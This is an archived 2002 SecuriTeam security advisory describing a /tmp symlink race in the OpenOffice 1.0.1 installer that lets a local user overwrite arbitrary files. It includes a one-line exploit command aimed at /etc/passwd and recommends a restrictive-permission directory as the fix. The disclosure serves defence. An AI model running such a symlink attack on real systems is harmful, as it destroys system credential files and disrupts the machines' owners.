[UNIX] OpenOffice Race Condition during Installation
From: support@securiteam.comDate: 10/12/02
- Previous message: support@securiteam.com: "[UNIX] kpf Directory Traversal"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 12 Oct 2002 16:21:14 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
OpenOffice Race Condition during Installation
------------------------------------------------------------------------
SUMMARY
OpenOffice 1.0.1 Race condition during installation can overwrite system
files.
DETAILS
Vulnerable systems:
* OpenOffice version 1.0.1
A very simple and easy to exploit race condition exist during the
installation of OpenOffice. During this window a malicious user could
create a symlink in /tmp and overwrite arbitrary files.
Exploit:
As a normal user, run:
lwc $ ln -s /etc/passwd /tmp/$USERNAME_autoresponse.conf
Where $USERNAME is the installer account name (probably root). This will
result in the password file being over written with:
# create the proper autoresponse file
cat << EOF > /tmp/${USER}_autoresponse.conf
[ENVIRONMENT]
INSTALLATIONMODE=$installtype
INSTALLATIONTYPE=STANDARD
DESTINATIONPATH=$prefix/$oo_home
OUTERPATH=
LOGFILE=
LANGUAGELIST=<LANGUAGE>
[JAVA]
JavaSupport=preinstalled_or_none
EOF
Fix:
Create a directory under /tmp to work from with restrictive permissions.
ADDITIONAL INFORMATION
References:
<http://www.openoffice.org/dev_docs/source/1.0.1/index.html>
http://www.openoffice.org/dev_docs/source/1.0.1/index.html
The information has been provided by <mailto:lwc@vapid.ath.cx> Larry W.
Cashdollar.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] kpf Directory Traversal"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|